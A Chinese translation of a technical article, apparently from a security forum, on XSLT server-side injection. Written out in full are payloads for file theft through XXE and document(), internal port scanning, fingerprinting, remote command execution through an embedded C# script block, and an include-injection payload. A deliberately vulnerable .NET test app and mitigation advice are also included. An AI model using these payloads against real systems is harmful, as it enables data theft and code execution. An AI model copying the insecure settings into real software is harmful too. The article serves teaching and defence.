【译】XSLT attack

□ / 2017-10-09 15:18:00 / 浏览数 4768 技术文章 技术文章 顶(0) 踩(0)

XSLT服务端注入攻击

XSLT漏洞对受影响的应用程序可能造成严重后果，通常的后果是导致远程执行代码。网络上公开exp的XSLT远程代码执行漏洞的例子有这么几个：CVE-2012-5357（影响.N
Ektron CMS）、CVE-2012-1592（影响Apache Struts 2.0）、CVE-2005-3757（影响Google Search Appliance）。

从上面的例子可以看出，XSLT漏洞已经存在了很长时间，尽管它们相对于其他类似的漏洞（如XML注入）不常见，但我们经常在安全性评估项目中能遇到它们。尽管如此，

本文中，我们将演示一系列XSLT攻击去展示以不安全的方式使用该技术的风险。*

接着会阐述如何执行远程代码、从远程系统窃取数据、网络扫描以及从受害者内网获取资源。

我们还可以提供一个存在漏洞的.Net应用程序，并提供有关如何降低这些攻击风险的建议。

什么是XSLT

XSL是一种将XML文档进行转换的语言，XSLT代表XSL转换，转换本身就是XML文档。

转换的结果可能是一个不同的XML文档或者其他类型的文档（比如HTML文档、CSV文件或者纯文本）。

XSLT常见用途是传输不同应用生成的文件数据和作为模版引擎。许多企业型应用程序广泛使用XSLT。比如，多租户开票应用程序可以允许客户端使用XSLT大量定制其发票。

其他常见的应用：

- 报表功能
- 不同格式的数据导出
- 打印
- 邮件

在描述这类攻击前，让我们通过一个实际例子来看看转换是如何进行的。

首先是下面这样的XML文件，包含了水果名和相关描述的列表：

```
<?xml version="1.0" ?>
<fruits>
 <fruit>
   <name>Lemon</name>
   <description>Yellow and sour</description>
 </fruit>
 <fruit>
   <name>Watermelon</name>
   <description>Round, green outside, red inside</description>
 </fruit>
</fruits>
```

为了将XML文档转为纯文本，使用如下XSL转换：

```
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:template match="/fruits">
   Fruits:
   <!-- Loop for each fruit -->
   <xsl:for-each select="fruit">
     <!-- Print name: description -->
     - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
   </xsl:for-each>
 </xsl:template>
</xsl:stylesheet>
```

使用上述转换规则对数据进行转换的结果是下面的纯文本文件：

```
Fruits:

     - Lemon: Yellow and sour
     - Watermelon: Round, green outside, red inside
```

利用XSLT服务端注入

在本节中，我们提供一种方法来测试应用程序的XSLT漏洞，并讲述漏洞的发现到利用。在这些示例中，我们专注于使用Microsoft System.Xml XSLT实现的易受攻击的应用程序。然而类似的技术也适用于其他常见的库，如Libxslt，Saxon和Xalan。

发现存在漏洞的切入点

第一步是识别应用存在漏洞的部分。

最简单的情况是应用允许上传任意的XSLT文件。

如果不是那种情况，易受攻击的应用也可能因为使用了不受信任的用户输入去动态生成XSL转换的XMl文档。

比如应用可能生成下面的XSLT文档，字符串"Your Company Name Here"源于不受信任的用户输入。

```
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:template match="/fruits">
   Your Company Name Here
   Fruits:
   <!-- Loop for each fruit -->
   <xsl:for-each select="fruit">
     <!-- Print name: description -->
     - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
   </xsl:for-each>
 </xsl:template>
 <xsl:include href="external_transform.xslt"/>
</xsl:stylesheet>
```

为了判断应用是否易受攻击，通过注入导致错误XML语法的字符（比如双引号、单引号、尖括号）是有效的方法。如果服务器返回了错误，那么应用则可能易受攻击。总的来

后面要描述的攻击中存在一部分只适用注入点位于文档的特定位置。但不要担心，我们会演示一种通过import和include函数来绕过这种限制。

为了尽可能简单化，接下来的例子中都是假定我们能够向应用提交任意的XSLT文档。如有特殊情况会另有说明。

system-property()函数和指纹

攻击者一旦确认了易受攻击点，那么对他来说识别操作系统指纹和确定正在使用的XSLT实现是很有用的。除此之外，对于攻击者来说了解应用程序使用的XSLT库对于尝试构

由于不同的库实现了不同的XSLT特性，一个库中可用的特性在其他库中不一定能用，而且大多时候被实现的专用扩展在不同的库中是不兼容的。

除了刚才所提到的，库的默认设置会因实现变化而广泛的变化。通常是老版本库默认启用了危险的特性，而新库要求开发人员在需要时明确启用它们。

我们可以通过system-property()函数来获取库发布者的名字，该函数是XSLT v1.0d的标准，所以所有的库都实现了这一点。

正确有效的参数是：

- xsl: vendor
- xsl: vendor-url
- xsl: version

下列转换可以用来判断库的发布者：

```
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:template match="/fruits">
   <xsl:value-of select="system-property('xsl:vendor')"/>
 </xsl:template>
</xsl:stylesheet>
```

在本例中，我们测试的是Microsoft .Net System.xml实现的应用，所以system-property()函数返回值是"Microsoft":

```
Microsoft
```

数据窃取和使用XXE进行端口扫描

考虑到XSLT的文档格式是XML，那么常见的XML攻击（比如Billion laughs attack、XML外部实体攻击）也能正常作用于XSLT，这就是很正常的一件事了。billion loughs attack是一种拒绝服务攻击，以耗尽服务器内存资源为目的。就本篇文章目的考虑，我们更倾向于XML外部实体攻击。

接下来的例子中，我们使用外部实体去获取"C:\secretfruit.txt"的内容。

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "C:\secretfruit.txt">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:template match="/fruits">
   Fruits &ext_file;:
   <!-- Loop for each fruit -->
   <xsl:for-each select="fruit">
     <!-- Print name: description -->
     - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
   </xsl:for-each>
 </xsl:template>

</xsl:stylesheet>
```

实体元素将文件内容放在了"ext_file"的引用中，然后通过"&ext_file"在主文档中打印显示出来。输出的结果揭示了文件的内容是"Golden Apple"。

```
Fruits Golden Apple:

     - Lemon: Yellow and sour
     - Watermelon: Round, green outside, red inside
```

通过该技术可以获取存储在web服务器上的文件和内部系统上的web页面（攻击者无法直接访问），也可能是包含身份认证的配置文件或者包含其他敏感信息的文件。

除此之外，攻击者亦可通过UNC路径（\\servername\share\file）和URLs（http://servername/file）而不是文件路径来获取文件，甚至可以通过该技术获取到受害者网络

通过事先准备的清单上的IP地址和端口，可以根据应用程序响应来确定远程端口是打开还是关闭。比如，应用程序可能会显示不同的错误消息或在响应中引入时间延迟。

接下来的XSLT转换使用了URL：http://172.16.132.1:25 而不是上个例子中的本地文件格式。

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "http://172.16.132.1:25">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:template match="/fruits">
   Fruits &ext_file;:
   <!-- Loop for each fruit -->
   <xsl:for-each select="fruit">
     <!-- Print name: description -->
     - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
   </xsl:for-each>
 </xsl:template>

</xsl:stylesheet>
```

下方的截图显示了应用程序尝试链接刚才的URL引起的错误返回，这表明了25号端口是关闭的。

接着将URL替换为http://172.16.132.1:1234 ，此时的错误信息截然不同，这暗示着1234端口是开放的。

攻击者可以使用这种技术对受害者的内部网络进行侦察扫描。

数据窃取和使用document()进行端口扫描

document函数允许XSLT转换获取存储在除了主数据源以外的外部XML文档中的数据。

攻击者可以滥用document函数来读取远程系统的文件，通常是以转换结果的整个内容进行拷贝为手段。但这种攻击要求文件是格式工整的XML文档，但这并不总是个问题，
web应用中，web.config文件就是个很好的例子因为它包含了数据库认证信息。

让我们看下这种用法的例子。下面的转换可以用于窃取"C:\secrectfruit.xml"的内容：

```
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:template match="/fruits">
   <xsl:copy-of select="document('C:\secretfruit.xml')"/>
   Fruits:
       <!-- Loop for each fruit -->
   <xsl:for-each select="fruit">
     <!-- Print name: description -->
     - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
   </xsl:for-each>
 </xsl:template>
</xsl:stylesheet>
```

转换的结果显示了上文提到的文件的内容:

```
<fruits>
 <fruit>
   <name>Golden Apple</name>
   <description>Round, made of Gold</description>
 </fruit>
</fruits>
   Fruits:

     - Lemon: Yellow and sour
     - Watermelon: Round, green outside, red inside
```

与XXE攻击相似，document()函数可以用于获取远程系统的文档并且能通过UNC路径或如下所示URL来进行基本的网络扫描：

```
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:template match="/fruits">
   <xsl:copy-of select="document('http://172.16.132.1:25')"/>
   Fruits:
       <!-- Loop for each fruit -->
   <xsl:for-each select="fruit">
     <!-- Print name: description -->
     - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
   </xsl:for-each>
 </xsl:template>
</xsl:stylesheet>
```

嵌入脚本区块执行远程代码

嵌入的脚本区块是专有的XSLT扩展，可以直接在XSLT文档中包含代码。在微软的实现中，可以包含C#代码。当文档被解析，远程服务器会编译然后执行代码。

下面的XSLT文档是一个POC，作用是列出当前目录下的所有文件。

```
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">

<msxsl:script language = "C#" implements-prefix = "user">
<![CDATA[
public string execute(){
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe";
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.Arguments = "/c dir";
proc.Start();
proc.WaitForExit();
return proc.StandardOutput.ReadToEnd();
}
]]>
</msxsl:script>

 <xsl:template match="/fruits">
 --- BEGIN COMMAND OUTPUT ---
   <xsl:value-of select="user:execute()"/>
 --- END COMMAND OUTPUT ---
 </xsl:template>
</xsl:stylesheet>
```

首先我们在“xsl：stylesheet”标签中定义了两个新的XML前缀。第一个“xmlns：msxsl”用来启用Microsoft的专有扩展格式，第二个“xmlns：user”声明了“msxsl：script”脚

C#代码实现了execute()函数，用于执行"cmd.exe /c dir"命令并将结果以字符串形式返回。最后函数是在“xsl:value-of”标签中调用。

该转换的结果等同于命令"dir"执行的输出：

```
--- BEGIN COMMAND OUTPUT ---
        Volume in drive C has no label.
Volume Serial Number is EC7C-74AD
```

```
Directory of C:\Users\context\Documents\Visual Studio 2015\Projects\XsltConsole
Application\XsltConsoleApplication\bin\Debug

22/02/2017  15:19    <DIR>          .
22/02/2017  15:19    <DIR>          ..
22/02/2017  13:30               258 data.xml
22/02/2017  14:48               233 external_transform.xslt
22/02/2017  15:15                12 secretfruit.txt
31/01/2017  13:45               154 secretfruit.xml
22/02/2017  15:29               831 transform.xslt
22/02/2017  13:49             7,168 XsltConsoleApplication.exe
26/01/2017  15:42               189 XsltConsoleApplication.exe.config
22/02/2017  13:49            11,776 XsltConsoleApplication.pdb
               8 File(s)         20,621 bytes
               2 Dir(s)   9,983,107,072 bytes free

 --- END COMMAND OUTPUT ---
```

import和incldue曲线救国

import和include标签可用于组合多个XSLT文档。如果我们碰到了这么一种情况（只能在XSLT文档的中间部分注入字符），那么直接使用XXE攻击或者include脚本都是不可

攻击者通过将XSLT文档和外部文档组合来打破这种限制，import和incldue函数可以达到这样的效果。在加载外部文件时，整个文档将被解析。如果攻击者可以控制这个过程

外部文件可能是之前上传到服务器上的文件，只要文件内容是XML格式那扩展名是什么就没关系了。当然外部文件也可能是攻击者服务器上的一个文件，通过URL来引用。

当“xsl:include”在其他地方使用时，“xsl:import”标签只能作为“xsl:stylesheet”标签的第一个子标签。

接着让我们使用之前的XSLT文档吧，假设我们只能在字符串“Your Company Name Here” 中进行注入：

```
<?xml version=”1.0” encoding=”utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:template match="/fruits">
   Your Company Name Here
   Fruits:
       <!-- Loop for each fruit -->
   <xsl:for-each select="fruit">
     <!-- Print name: description -->
     - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
   </xsl:for-each>
 </xsl:template>
 <xsl:include href="external_transform.xslt"/>
</xsl:stylesheet>
```

在上面的转换中，我们想包含下面名为external_transform.xslt的外部文件。为了使事情简单化，外部转换只打印简要的信息；然而外部转换可以用之前提到过的任何攻击所

```
<?xml version=”1.0” encoding=”utf-8”?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
   <xsl:template match="/">
    Hello from the external transformation
   </xsl:template>
</xsl:stylesheet>
```

为了包含外部文档，我们需要注入如下标签：

```
<xsl:include href="external_transform.xslt"/>
```

然而，这存在一个问题：“xsl:include”
不能被“xsl:template”包含并且转换后的文件必须是格式良好的XML文档。所以我们的第一步是要闭合该标签“xsl:template”，接着添加“xsl:incldue”标签，这就能满足第一个

生成的攻击载荷如下：

```
</xsl:template><xsl:include href="external_transform.xslt"/><xsl:template name="a">
```

在注入后，生成的XSLT文档看起来是这样的：

```
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:template match="/fruits">
   </xsl:template><xsl:include href="external_transform.xslt"/><xsl:template name="a">
   Fruits:
   <!-- Loop for each fruit -->
```

```
   <xsl:for-each select="fruit">
     <!-- Print name: description -->
     - <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
   </xsl:for-each>
 </xsl:template>
 <xsl:include href="external_transform.xslt"/>
</xsl:stylesheet>
```

转换后将生成如下输出：

```
Hello from the external transformation
```

和XXE、document()函数一样，import和include标签可以用来数据窃取和基本的端口扫描。

XSLT----导致app易受攻击

在识别出XSLT漏洞后，编写能工作的exp是比较棘手的。

这有一部分是因为xml严格的语法要求，另一部分是因为应用程序的实现细节。

测试

所以我写了一个小型易受攻击的.Net控制台应用程序，可用于测试前面所提到的攻击。该应用是由.Net's System.Xml
实现的。带有注释的完整代码报告如下，可以通过Microsoft Visual Studio来编译。代码和已经编译好的应用可以在这里下载。

分割线

```
using System;
using System.Xml;
using System.Xml.Xsl;

namespace XsltConsoleApplication
{
   class Program
   {
       /*
       This code contains serious vulnerabilities and is provided for training purposes only!
       DO NOT USE ANYWHERE FOR ANYTHING ELSE!!!
       */
       static void Main(string[] args)
       {
           Console.WriteLine("\n##############################################################################");
           Console.WriteLine("#                                                                            #");
           Console.WriteLine("# This is a Vulnerable-by-Design application to test XSLT Injection           #");
           Console.WriteLine("#                                                                            #");
           Console.WriteLine("##############################################################################\n");
           Console.WriteLine("The application expects (in the current working directory):");
           Console.WriteLine(" - an XML file (data.xml) and\n - an XSLT style sheet (transform.xslt)\n");
           Console.WriteLine("============================================================================");

           String transformationXsltFileURI = "transform.xslt";
           String dataXMLFileURI = "data.xml";

           // Enable DTD processing to load external XML entities for both the XML and XSLT file
           XmlReaderSettings vulnerableXmlReaderSettings = new XmlReaderSettings();
           vulnerableXmlReaderSettings.DtdProcessing = DtdProcessing.Parse;
           vulnerableXmlReaderSettings.XmlResolver = new XmlUrlResolver();
           XmlReader vulnerableXsltReader = XmlReader.Create(transformationXsltFileURI, vulnerableXmlReaderSettings);
           XmlReader vulnerableXmlReader = XmlReader.Create(dataXMLFileURI, vulnerableXmlReaderSettings);

           XsltSettings vulnerableSettings = new XsltSettings();
           // Embedded script blocks and the document() function are NOT enabled by default
           vulnerableSettings.EnableDocumentFunction = true;
           vulnerableSettings.EnableScript = true;
           // A vulnerable settings class can also be created with:
           // vulnerableSettings = XsltSettings.TrustedXslt;

           XslCompiledTransform vulnerableTransformation = new XslCompiledTransform();
           // XmlUrlResolver is the default resolver for XML and XSLT and supports the file: and http: protocols
           XmlUrlResolver vulnerableResolver = new XmlUrlResolver();
```

```
            vulnerableTransformation.Load(vulnerableXsltReader, vulnerableSettings, vulnerableResolver);

            XmlWriter output = new XmlTextWriter(Console.Out);

            // Run the transformation
            vulnerableTransformation.Transform(vulnerableXmlReader, output);

        }
    }
}
```

该应用需要data.xml和transformation.xslt文件在当前工作目录下。

推荐

如果你的应用使用了XSLT，通过下列引导你可以降低风险：

- 尽可能避免使用用户提供的XSLT文档
- 不要使用不受信任的输入去生成XSLT文档，比如拼接字符串。如果需要非静态值，则应将其包含在XML数据文件中，并且仅由XSLT文档引用
- 明确禁止使用XSLT库实现的危险功能。查阅库的文档如何禁用XML外部实体、document()函数、import和include标签。确保嵌入脚本扩展是禁用的，同时其他允许读

Emanuel Duss和Roland
Bischofberger写了一份文档，讲述了流行的XSLT库实现的功能和他们的默认配置。文档的34页包含了一张便捷比较表格，可以作为入手点。点我下载PDF

总结和结论

XSLT是非常有用的工具，许多应用都用了，但它的问题并不那么为人所知。差的代码实践会引入漏洞，这可能会导致应用控制权的完全丧失和数据被窃取。本文致力于提高

原文地址

上一篇：NTP反射放大本地实验搭建遇到问题 下一篇：我眼中的信息安全意识教育体系
1. 0 条回复
   - 动动手指，沙发就是你的了！